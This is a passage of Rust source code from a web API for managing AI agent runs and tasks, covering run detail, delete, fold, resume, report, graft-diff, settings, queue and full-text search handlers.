3254 latest: Option<RunBrief>,
3256 finished_by: Option<RunBrief>,
3258 closed_by_hand: bool,
3260}
3261
3262#[derive(Debug, PartialEq, Eq, Serialize)]
3264struct SourceLink {
3265 kind: &'static str,
3267 id: String,
3269 href: String,
3271}
3272
3273fn encode_segment(raw: &str) -> String {
3275 let mut out = String::with_capacity(raw.len());
3276 for b in raw.bytes() {
3277 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3278 out.push(b as char);
3279 } else {
3280 out.push_str(&format!("%{b:02X}"));
3281 }
3282 }
3283 out
3284}
3285
3286fn source_link(source: &Source) -> Option<SourceLink> {
3290 let Source::Agent { run, node } = source else {
3291 return None;
3292 };
3293 let (kind, route) = if node == crate::queue::CHAT_NODE {
3294 ("chat", "chat")
3295 } else {
3296 ("run", "runs")
3297 };
3298 Some(SourceLink {
3299 kind,
3300 id: run.clone(),
3301 href: format!("#/{route}/{}", encode_segment(run)),
3302 })
3303}
3304
3305#[derive(Debug, Serialize, PartialEq)]
3307struct FollowUpParent {
3308 id: String,
3309 short: String,
3310 title: String,
3311 status: &'static str,
3313 href: String,
3314}
3315
3316#[derive(Debug, Serialize, PartialEq)]
3318struct FollowUpRun {
3319 id: String,
3320 short: String,
3321 status: Option<&'static str>,
3323 href: Option<String>,
3325}
3326
3327#[derive(Debug, Serialize, PartialEq)]
3330struct FollowUpOrigin {
3331 parent: Option<FollowUpParent>,
3333 run: FollowUpRun,
3334 pr: String,
3339 findings: Vec<String>,
3340 generation: u32,
3341}
3342
3343fn followup_origin(
3346 fu: &crate::queue::FollowUp,
3347 task: impl Fn(&str) -> Option<Task>,
3348 run: impl Fn(&str) -> Option<RunState>,
3349) -> FollowUpOrigin {
3350 let parent = fu
3351 .origin_task
3352 .as_deref()
3353 .and_then(task)
3354 .map(|t| FollowUpParent {
3355 short: t.short().to_owned(),
3356 href: format!("#/tasks/{}", encode_segment(&t.id)),
3357 status: t.status.as_str(),
3358 title: t.title,
3359 id: t.id,
3360 });
3361 let state = run(&fu.run);
3362 FollowUpOrigin {
3363 parent,
3364 run: FollowUpRun {
3365 short: run::short_of(&fu.run).to_owned(),
3366 status: state.as_ref().map(|s| s.status.as_str()),
3367 href: state
3368 .is_some()
3369 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3370 id: fu.run.clone(),
3371 },
3372 pr: fu.pr.clone(),
3373 findings: fu.findings.clone(),
3374 generation: fu.generation,
3375 }
3376}
3377
3378#[derive(Debug, Serialize)]
3380struct RunBrief {
3381 id: String,
3382 short: String,
3383 status: Option<&'static str>,
3385 outcome: String,
3387 badge: Option<String>,
3389}
3390
3391fn task_outcome(
3394 task: &Task,
3395 this_run: &str,
3396 max_attempts: usize,
3397 read: impl Fn(&str) -> Option<RunState>,
3398) -> TaskRef {
3399 let max_attempts = task.effective_attempt_limit(max_attempts);
3400 let history = task_history(task, read);
3401 let brief = |h: &TaskRunView| RunBrief {
3402 id: h.id.clone(),
3403 short: h.short.clone(),
3404 status: h.status,
3405 outcome: h.exit.edge_label(h.status),
3406 badge: h.badge.clone(),
3407 };
3408 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3409 let latest = if is_latest {
3410 None
3411 } else {
3412 history.last().map(brief)
3413 };
3414 let done = task.status == TaskStatus::Done;
3415 let finished_by = done
3416 .then(|| {
3417 history
3418 .iter()
3419 .rev()
3420 .find(|h| {
3421 matches!(
3422 h.exit,
3423 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3424 )
3425 })
3426 .map(brief)
3427 })
3428 .flatten();
3429 TaskRef {
3430 short: task.short().to_owned(),
3431 title: task.title.clone(),
3432 id: task.id.clone(),
3433 source_label: task.source.label(),
3434 source_link: source_link(&task.source),
3435 status: task.status.as_str(),
3436 attempts: task.attempts,
3437 max_attempts,
3438 is_latest,
3439 latest,
3440 closed_by_hand: done && finished_by.is_none(),
3441 finished_by,
3442 }
3443}
3444
3445#[derive(Debug, Serialize)]
3447struct LatestAttempt {
3448 id: String,
3449 short: String,
3450 resolved: bool,
3461 status: RunStatus,
3464 done: bool,
3466}
3467
3468#[derive(Debug, Default, Serialize)]
3470struct RunProseMd {
3471 advice_md: Option<AdviceMd>,
3473 candidate_summaries_md: Vec<Vec<md::Node>>,
3475 reviews_md: Vec<RoundMd>,
3477}
3478
3479#[derive(Debug, Default, Serialize)]
3480struct AdviceMd {
3481 synthesis: Vec<md::Node>,
3482 approaches: Vec<Vec<md::Node>>,
3484}
3485
3486#[derive(Debug, Default, Serialize)]
3487struct RoundMd {
3488 reviewers: Vec<ReviewerMd>,
3490 reconsideration: Vec<Vec<md::Node>>,
3492 fix: Option<FixMd>,
3493}
3494
3495#[derive(Debug, Default, Serialize)]
3496struct ReviewerMd {
3497 summary: Vec<md::Node>,
3498 findings: Vec<Vec<md::Node>>,
3500}
3501
3502#[derive(Debug, Default, Serialize)]
3503struct FixMd {
3504 notes: Vec<md::Node>,
3505 rejected: Vec<Vec<md::Node>>,
3507}
3508
3509fn run_prose_md(state: &RunState) -> RunProseMd {
3511 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3512 RunProseMd {
3513 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3514 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3515 approaches: a
3516 .records
3517 .iter()
3518 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3519 .collect(),
3520 }),
3521 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3522 reviews_md: state
3523 .reviews
3524 .iter()
3525 .map(|round| RoundMd {
3526 reviewers: round
3527 .reviews
3528 .iter()
3529 .map(|rec| ReviewerMd {
3530 summary: nodes(&rec.summary),
3531 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3532 })
3533 .collect(),
3534 reconsideration: round
3535 .reconsideration
3536 .iter()
3537 .map(|rv| nodes(&rv.reason))
3538 .collect(),
3539 fix: round.fix.as_ref().map(|fix| FixMd {
3540 notes: nodes(&fix.notes),
3541 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3542 }),
3543 })
3544 .collect(),
3545 }
3546}
3547
3548impl RunDetailView {
3549 fn of(
3550 state: RunState,
3551 waiting: bool,
3552 live: crate::run::Liveness,
3553 superseded_by: Option<String>,
3554 latest_attempt: Option<LatestAttempt>,
3555 task: Option<TaskRef>,
3556 ) -> Self {
3557 let display_status = run_display_status(&state, waiting, live);
3558 let stop_reason = crate::stop_reason::of(
3559 &state,
3560 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
3561 );
3562 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
3563 Self {
3564 stop_reason,
3565 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
3566 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3567 prose_md: run_prose_md(&state),
3568 origin_label: crate::run::origin_label(state.origin.as_ref()),
3569 live,
3570 unmerged_by_design: state.unmerged_by_design(),
3571 waiting,
3572 display_status,
3573 badge_status,
3574 done: state.status.done(),
3575 superseded_by,
3576 latest_attempt,
3577 task,
3578 state,
3579 }
3580 }
3581}
3582
3583async fn run_detail(
3584 State(ui): State<Arc<Ui>>,
3585 Path(id): Path<String>,
3586) -> ApiResult<Json<RunDetailView>> {
3587 blocking(move || {
3588 let id = resolve_run(&ui.runs, &id)?;
3589 let state = read_run(&ui.runs, &id)?;
3590 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3591 let live = state.liveness(daemon_claims);
3592 let waiting = !ui.questions.open_for(&id).is_empty();
3593 let superseded_by = state
3594 .pr_taken_over_by
3595 .clone()
3596 .or_else(|| ui.queue.superseded_by(&id))
3597 .as_deref()
3598 .map(crate::run::short_of)
3599 .map(str::to_owned);
3600 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3604 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3605 short: head.short().to_owned(),
3606 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3607 status: head.status,
3608 done: head.status.done(),
3609 id: head.id,
3610 })
3611 });
3612 let max_attempts = daemon::Opts::default().max_attempts;
3613 let task = ui
3614 .queue
3615 .list()
3616 .into_iter()
3617 .find(|t| t.runs.contains(&id))
3618 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3619 Ok(Json(RunDetailView::of(
3620 state,
3621 waiting,
3622 live,
3623 superseded_by,
3624 latest_attempt,
3625 task,
3626 )))
3627 })
3628 .await
3629}
3630
3631async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3640 let (id, unreadable) = {
3641 let ui = Arc::clone(&ui);
3642 blocking(move || {
3643 let id = resolve_run(&ui.runs, &id)?;
3644 match read_run(&ui.runs, &id) {
3645 Ok(state) => {
3646 let in_flight =
3647 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3648 state
3649 .ensure_can_delete(in_flight)
3650 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3651 let dir = ui.runs.join(&id);
3652 std::fs::remove_dir_all(&dir)
3653 .with_context(|| format!("remove run directory {}", dir.display()))?;
3654 Ok((id, false))
3655 }
3656 Err(_) => {
3657 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3661 return Err(ApiError::conflict(format!(
3662 "run {id} is being worked on by a live daemon right now"
3663 )));
3664 }
3665 Ok((id, true))
3666 }
3667 }
3668 })
3669 .await?
3670 };
3671 if unreadable {
3672 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3673 .await
3674 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3675 }
3676 let ui = Arc::clone(&ui);
3677 let done = id.clone();
3678 blocking(move || {
3679 ui.questions.abandon_for_run(
3682 &done,
3683 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3684 )?;
3685 Ok(())
3686 })
3687 .await?;
3688 Ok(StatusCode::NO_CONTENT)
3689}
3690
3691async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3715 let (id, state) = {
3716 let ui = Arc::clone(&ui);
3717 blocking(move || {
3718 let id = resolve_run(&ui.runs, &id)?;
3719 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3720 return Err(ApiError::conflict(format!(
3721 "run {id} is being worked on by a live daemon right now"
3722 )));
3723 }
3724 let state = read_run(&ui.runs, &id).ok();
3725 Ok((id, state))
3726 })
3727 .await?
3728 };
3729 let removed = match state {
3730 Some(mut state) => {
3731 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3732 .await
3733 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3734 if removed.is_empty() {
3739 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3740 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3741 }
3742 removed
3743 }
3744 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3745 .await
3746 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3747 };
3748 Ok(Json(FoldView {
3749 run: id,
3750 removed_count: removed.len(),
3751 removed,
3752 }))
3753}
3754
3755#[derive(Debug, Serialize)]
3757struct FoldView {
3758 run: String,
3759 removed: Vec<String>,
3761 removed_count: usize,
3762}
3763
3764#[derive(Debug, Deserialize)]
3767struct FoldMergedBody {
3768 #[serde(default)]
3769 pr_url: String,
3770}
3771
3772async fn run_fold_merged(
3792 State(ui): State<Arc<Ui>>,
3793 Path(id): Path<String>,
3794 Json(body): Json<FoldMergedBody>,
3795) -> ApiResult<Json<FoldMergedView>> {
3796 let pr_url = body.pr_url.trim().to_owned();
3797 if pr_url.is_empty() {
3798 return Err(ApiError::bad_request("pr_url is required"));
3799 }
3800 let (id, mut state) = {
3801 let ui = Arc::clone(&ui);
3802 blocking(move || {
3803 let id = resolve_run(&ui.runs, &id)?;
3804 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3805 return Err(ApiError::conflict(format!(
3806 "run {id} is being worked on by a live daemon right now"
3807 )));
3808 }
3809 let state = read_run(&ui.runs, &id)?;
3810 Ok((id, state))
3811 })
3812 .await?
3813 };
3814 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3815 .await
3816 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3817 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3818 .await
3819 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3820 Ok(Json(FoldMergedView {
3821 run: id,
3822 before: before.as_str().to_owned(),
3823 after: after.as_str().to_owned(),
3824 removed,
3825 }))
3826}
3827
3828#[derive(Debug, Serialize)]
3830struct FoldMergedView {
3831 run: String,
3832 before: String,
3834 after: String,
3836 removed: Vec<String>,
3838}
3839
3840async fn run_resume(
3860 State(ui): State<Arc<Ui>>,
3861 Path(id): Path<String>,
3862) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3863 let (id, state) = {
3864 let ui = Arc::clone(&ui);
3865 blocking(move || {
3866 let id = resolve_run(&ui.runs, &id)?;
3867 let state = read_run(&ui.runs, &id)?;
3868 Ok((id, state))
3869 })
3870 .await?
3871 };
3872 if let Some(to) = state
3873 .pr_taken_over_by
3874 .as_ref()
3875 .or(state.released_to.as_ref())
3876 {
3877 return Err(ApiError::conflict(format!(
3878 "run {} can no longer be resumed: its pull request or worktree ownership moved to run {}.",
3879 state.short(),
3880 crate::run::short_of(to)
3881 )));
3882 }
3883 if !state.status.resumable() {
3884 return Err(ApiError::conflict(format!(
3885 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3886 state.short(),
3887 status_word(state.status)
3888 )));
3889 }
3890 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3895 .into_iter()
3896 .next()
3897 {
3898 return Err(ApiError::conflict(format!(
3899 "the loop is running run {} right now; stop it first, or wait for \
3900 it to finish, before resuming a run by hand.",
3901 crate::run::short_of(&work.run)
3902 )));
3903 }
3904 let _resume = ui.begin_resume(&id)?;
3905
3906 let queued = RunSummary::of(
3909 &state,
3910 !ui.questions.open_for(&id).is_empty(),
3911 state.liveness(false),
3912 );
3913 let run = id.clone();
3914 tokio::spawn(async move {
3915 let _resume = _resume;
3916 match crate::graph::Runner::resume(&run) {
3917 Ok(mut runner) => {
3918 if let Err(e) = runner.execute().await {
3919 tracing::warn!("resume of run {run} stopped: {e:#}");
3920 }
3921 }
3922 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3925 }
3926 });
3927 Ok((StatusCode::ACCEPTED, Json(queued)))
3928}
3929
3930async fn run_report(
3931 State(ui): State<Arc<Ui>>,
3932 Path(id): Path<String>,
3933) -> ApiResult<impl IntoResponse> {
3934 let text = blocking(move || {
3935 let id = resolve_run(&ui.runs, &id)?;
3936 let state = read_run(&ui.runs, &id)?;
3940 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3941 let live = state.liveness(daemon_claims);
3942 Ok(format!(
3943 "{}{}",
3944 report::run(&state),
3945 report::active_seats(&state, live)
3946 ))
3947 })
3948 .await?;
3949 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3950}
3951
3952async fn run_report_json(
3956 State(ui): State<Arc<Ui>>,
3957 Path(id): Path<String>,
3958) -> ApiResult<Json<crate::report_view::RunReportView>> {
3959 let view = blocking(move || {
3960 let id = resolve_run(&ui.runs, &id)?;
3961 let state = read_run(&ui.runs, &id)?;
3962 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3963 let recovered = state.graft.as_ref().map(|_| {
3965 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
3966 });
3967 Ok(crate::report_view::build_with(
3968 &state,
3969 state.liveness(daemon_claims),
3970 recovered.as_ref(),
3971 ))
3972 })
3973 .await?;
3974 Ok(Json(view))
3975}
3976
3977const GRAFT_DIFF_MAX: usize = 400 * 1024;
3979const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
3981
3982async fn run_graft_diff(
3985 State(ui): State<Arc<Ui>>,
3986 Path(id): Path<String>,
3987) -> ApiResult<impl IntoResponse> {
3988 let (repo, pre, post) = blocking(move || {
3989 let id = resolve_run(&ui.runs, &id)?;
3990 let state = read_run(&ui.runs, &id)?;
3991 let g = state
3992 .graft
3993 .as_ref()
3994 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
3995 let post = g
3996 .post
3997 .clone()
3998 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
3999 Ok((state.repo.clone(), g.pre.clone(), post))
4000 })
4001 .await?;
4002 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4003 if !hex(&pre) || !hex(&post) {
4004 return Err(ApiError::not_found("the recorded commits are not valid"));
4005 }
4006 let out = tokio::time::timeout(
4007 GRAFT_DIFF_TIMEOUT,
4008 crate::git::git_raw(
4009 &repo,
4010 &[
4011 "diff",
4012 "--no-color",
4013 "--no-ext-diff",
4014 "-M",
4015 &pre,
4016 &post,
4017 "--",
4018 ],
4019 ),
4020 )
4021 .await
4022 .map_err(|_| ApiError::not_found("git diff timed out"))?
4023 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4024 if out.code != Some(0) {
4025 return Err(ApiError::not_found(
4026 "the recorded commits are no longer in the repository",
4027 ));
4028 }
4029 let mut body = out.stdout;
4030 if body.len() > GRAFT_DIFF_MAX {
4031 let mut cut = GRAFT_DIFF_MAX;
4032 while !body.is_char_boundary(cut) {
4033 cut -= 1;
4034 }
4035 body.truncate(cut);
4036 body.push_str("\n... diff truncated ...");
4037 }
4038 Ok((
4039 [
4040 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4041 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4042 ],
4043 body,
4044 ))
4045}
4046
4047#[derive(Debug, Serialize)]
4053struct TaskView {
4054 #[serde(flatten)]
4055 task: Task,
4056 source_label: String,
4057 source_link: Option<SourceLink>,
4058 status_str: &'static str,
4059 instruction_md: Vec<md::Node>,
4063 waits_on: Vec<String>,
4067 stuck_roots: Vec<String>,
4070}
4071
4072impl From<Task> for TaskView {
4073 fn from(task: Task) -> Self {
4074 Self {
4075 source_label: task.source.label(),
4076 source_link: source_link(&task.source),
4077 status_str: task.status.as_str(),
4078 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4079 waits_on: Vec::new(),
4080 stuck_roots: Vec::new(),
4081 task,
4082 }
4083 }
4084}
4085
4086impl TaskView {
4087 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4088 let waits_on = inv.waits_on(&task);
4089 let stuck_roots = inv
4090 .stuck_roots(&task)
4091 .iter()
4092 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4093 .collect();
4094 Self {
4095 waits_on,
4096 stuck_roots,
4097 ..Self::from(task)
4098 }
4099 }
4100}
4101
4102#[derive(Debug, Default, Deserialize)]
4105#[serde(default)]
4106struct ReposQuery {
4107 refresh: u8,
4108}
4109
4110async fn repos_list(
4117 State(ui): State<Arc<Ui>>,
4118 Query(q): Query<ReposQuery>,
4119) -> ApiResult<Json<Vec<repos::Repo>>> {
4120 let refresh = q.refresh != 0;
4121 blocking(move || {
4122 let (cfg, _) = Config::discover(&ui.repo, None)?;
4123 Ok(Json(ui.repos_cache.list(
4124 &cfg.repos.roots,
4125 Duration::from_secs(cfg.repos.scan_ttl),
4126 refresh,
4127 )))
4128 })
4129 .await
4130}
4131
4132#[derive(Debug, Default, Deserialize)]
4134struct SettingsQuery {
4135 repo: Option<PathBuf>,
4136}
4137
4138fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4142 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4143 let paths: Vec<PathBuf> = ui
4144 .machine_config
4145 .iter()
4146 .filter(|p| p.is_file())
4147 .cloned()
4148 .collect();
4149 if paths.is_empty() {
4150 Ok(Config::autodetected())
4151 } else {
4152 Config::load_layers(&paths)
4153 }
4154 });
4155 let mut known = cfg
4156 .map(|cfg| {
4157 ui.repos_cache.list(
4158 &cfg.repos.roots,
4159 Duration::from_secs(cfg.repos.scan_ttl),
4160 refresh,
4161 )
4162 })
4163 .unwrap_or_default();
4164 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4165 if !known.iter().any(|r| r.path == path) {
4166 known.push(repos::Repo {
4167 name: path
4168 .file_name()
4169 .unwrap_or_default()
4170 .to_string_lossy()
4171 .into_owned(),
4172 path,
4173 });
4174 }
4175 known
4176}
4177
4178fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4179 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4180 let canonical = requested.canonicalize().ok();
4181 let mut known = settings_repositories(ui, false);
4182 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4183 if !known.iter().any(matches) {
4184 known = settings_repositories(ui, true);
4185 }
4186 let repo = known
4187 .iter()
4188 .find(|r| matches(r))
4189 .map(|r| r.path.clone())
4190 .ok_or_else(|| ApiError {
4191 text_reason: None,
4192 status: StatusCode::UNPROCESSABLE_ENTITY,
4193 message: "Choose a known repository from the Settings selector.".to_owned(),
4194 })?;
4195 Ok((repo, known))
4196}
4197
4198async fn settings_get(
4202 State(ui): State<Arc<Ui>>,
4203 Query(q): Query<SettingsQuery>,
4204) -> ApiResult<Json<settings::SettingsView>> {
4205 blocking(move || {
4206 let (repo, known) = settings_context(&ui, q)?;
4207 Ok(Json(settings::view_with_repos(
4208 &repo,
4209 ui.machine_config.as_deref(),
4210 &known,
4211 )))
4212 })
4213 .await
4214}
4215
4216#[derive(Debug, Deserialize)]
4218#[serde(deny_unknown_fields)]
4219struct RolesBody {
4220 revision: String,
4222 #[serde(default)]
4224 roles: std::collections::BTreeMap<String, Vec<String>>,
4225 #[serde(default)]
4229 counts: std::collections::BTreeMap<String, serde_json::Value>,
4230}
4231
4232async fn settings_put_roles(
4238 State(ui): State<Arc<Ui>>,
4239 Query(q): Query<SettingsQuery>,
4240 body: std::result::Result<Json<RolesBody>, JsonRejection>,
4241) -> ApiResult<Json<settings::SettingsView>> {
4242 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4243 blocking(move || {
4244 let (repo, known) = settings_context(&ui, q)?;
4245 settings::save_with_repos(
4246 &repo,
4247 ui.machine_config.as_deref(),
4248 &body.revision,
4249 &body.roles,
4250 &body.counts,
4251 &known,
4252 )
4253 .map(Json)
4254 .map_err(|e| match e {
4255 settings::SaveError::Conflict(m) => ApiError::conflict(m),
4256 settings::SaveError::Refused(m) => ApiError {
4257 text_reason: None,
4258 status: StatusCode::UNPROCESSABLE_ENTITY,
4259 message: m,
4260 },
4261 settings::SaveError::Internal(m) => ApiError::internal(m),
4262 })
4263 })
4264 .await
4265}
4266
4267async fn queue_list(
4268 State(ui): State<Arc<Ui>>,
4269 Query(q): Query<ListQuery>,
4270) -> ApiResult<Json<Vec<TaskView>>> {
4271 blocking(move || {
4272 let tasks = ui.queue.list();
4273 let inv = crate::blockers::Inventory::load(&ui.queue, &ui.questions);
4274 Ok(Json(
4275 tasks
4276 .into_iter()
4277 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4278 .map(|t| TaskView::with_inventory(t, &inv))
4279 .collect(),
4280 ))
4281 })
4282 .await
4283}
4284
4285const SEARCH_MAX_HITS: usize = 100;
4287const SEARCH_MAX_QUERY: usize = 200;
4289const SEARCH_MAX_TERMS: usize = 8;
4290const SNIPPET_BEFORE: usize = 50;
4292const SNIPPET_AFTER: usize = 110;
4293
4294#[derive(Debug, Deserialize)]
4296struct SearchQuery {
4297 #[serde(default)]
4298 scope: String,
4299 #[serde(default)]
4300 q: String,
4301}
4302
4303#[derive(Debug, Serialize, PartialEq, Eq)]
4306struct SnippetPart {
4307 text: String,
4308 hit: bool,
4309}
4310
4311#[derive(Debug, Serialize)]
4312struct SearchHit {
4313 id: String,
4314 field: String,
4316 snippet: Vec<SnippetPart>,
4317 #[serde(skip_serializing_if = "Option::is_none")]
4321 run: Option<RunSummary>,
4322}
4323
4324#[derive(Debug, Serialize)]
4325struct SearchView {
4326 scope: String,
4327 q: String,
4328 hits: Vec<SearchHit>,
4330 total: usize,
4332 truncated: bool,
4333 unreadable: usize,
4336}
4337
4338fn text_leaves<'a>(
4341 value: &'a serde_json::Value,
4342 field: &'a str,
4343 out: &mut Vec<(&'a str, &'a str)>,
4344) {
4345 match value {
4346 serde_json::Value::String(s) => out.push((field, s)),
4347 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4348 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4349 _ => {}
4350 }
4351}
4352
4353fn fold_char(c: char) -> char {
4356 c.to_lowercase().next().unwrap_or(c)
4357}
4358
4359fn search_terms(q: &str) -> Vec<String> {
4361 let mut terms: Vec<String> = Vec::new();
4362 for t in q.split_whitespace() {
4363 let t = t.to_lowercase();
4364 if !terms.contains(&t) {
4365 terms.push(t);
4366 }
4367 }
4368 terms
4369}
4370
4371fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4374 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4375 let mut first: Option<usize> = None;
4376 for term in terms {
4377 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4378 first = Some(first.map_or(at, |f| f.min(at)));
4379 }
4380 let (field, text) = leaves[first?];
4382 Some(SearchHit {
4383 id: String::new(),
4384 field: field.to_owned(),
4385 snippet: snippet_of(text, terms),
4386 run: None,
4387 })
4388}
4389
4390fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4393 let chars: Vec<char> = text.chars().collect();
4394 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4395 let needles: Vec<Vec<char>> = terms
4396 .iter()
4397 .map(|t| t.chars().map(fold_char).collect())
4398 .collect();
4399 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4400 let mut best: Option<(usize, usize)> = None;
4401 for n in needles.iter().filter(|n| !n.is_empty()) {
4402 if n.len() > chars.len() || to == 0 {
4406 continue;
4407 }
4408 let last = (to - 1).min(chars.len() - n.len());
4409 if from > last {
4410 continue;
4411 }
4412 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4413 && best.is_none_or(|(b, _)| i < b)
4414 {
4415 best = Some((i, i + n.len()));
4416 }
4417 }
4418 best
4419 };
4420 let Some((start, _)) = find(0, chars.len()) else {
4421 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4423 return vec![SnippetPart {
4424 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4425 hit: false,
4426 }];
4427 };
4428 let lo = start.saturating_sub(SNIPPET_BEFORE);
4429 let hi = (start + SNIPPET_AFTER).min(chars.len());
4430 let mut parts: Vec<SnippetPart> = Vec::new();
4431 let mut push = |s: &[char], hit: bool| {
4432 if s.is_empty() {
4433 return;
4434 }
4435 let text: String = s.iter().collect();
4436 match parts.last_mut() {
4437 Some(p) if p.hit == hit => p.text.push_str(&text),
4438 _ => parts.push(SnippetPart { text, hit }),
4439 }
4440 };
4441 if lo > 0 {
4442 push(&['\u{2026}'], false);
4443 }
4444 let mut at = lo;
4445 while at < hi {
4446 match find(at, hi) {
4447 Some((s, e)) => {
4448 push(&chars[at..s], false);
4449 let shown = e.min(hi);
4451 push(&chars[s..shown], true);
4452 at = shown;
4453 }
4454 None => {
4455 push(&chars[at..hi], false);
4456 at = hi;
4457 }
4458 }
4459 }
4460 if hi < chars.len() {
4461 push(&['\u{2026}'], false);
4462 }
4463 let mut prev_space = false;
4466 for p in &mut parts {
4467 let mut out = String::with_capacity(p.text.len());
4468 for c in p.text.chars() {
4469 if c.is_whitespace() {
4470 if !prev_space {
4471 out.push(' ');
4472 }
4473 prev_space = true;
4474 } else {
4475 out.push(c);
4476 prev_space = false;
4477 }
4478 }
4479 p.text = out;
4480 }
4481 parts.retain(|p| !p.text.is_empty());
4482 parts
4483}
4484
4485fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4487where
4488 I: IntoIterator<Item = (String, serde_json::Value)>,
4489{
4490 for (id, doc) in docs {
4491 let mut leaves = Vec::new();
4492 leaves.push(("id", id.as_str()));
4495 text_leaves(&doc, "", &mut leaves);
4496 if let Some(mut hit) = search_document(terms, &leaves) {
4497 view.total += 1;
4498 if view.hits.len() < SEARCH_MAX_HITS {
4499 hit.id = id;
4500 view.hits.push(hit);
4501 }
4502 }
4503 }
4504 view.truncated = view.total > view.hits.len();
4505}
4506
4507fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4514 let opener = talk
4515 .turns
4516 .iter()
4517 .find(|t| t.who == crate::talk::Who::Operator)
4518 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4519 .unwrap_or("");
4520 let title: String = if opener.chars().count() > 96 {
4521 opener.chars().take(95).chain(['\u{2026}']).collect()
4522 } else {
4523 opener.to_owned()
4524 };
4525 let turns: Vec<serde_json::Value> = talk
4526 .turns
4527 .iter()
4528 .map(|t| {
4529 let who = match t.who {
4530 crate::talk::Who::Operator => "operator",
4531 crate::talk::Who::Agent => "agent",
4532 };
4533 serde_json::json!({ who: t.body })
4534 })
4535 .collect();
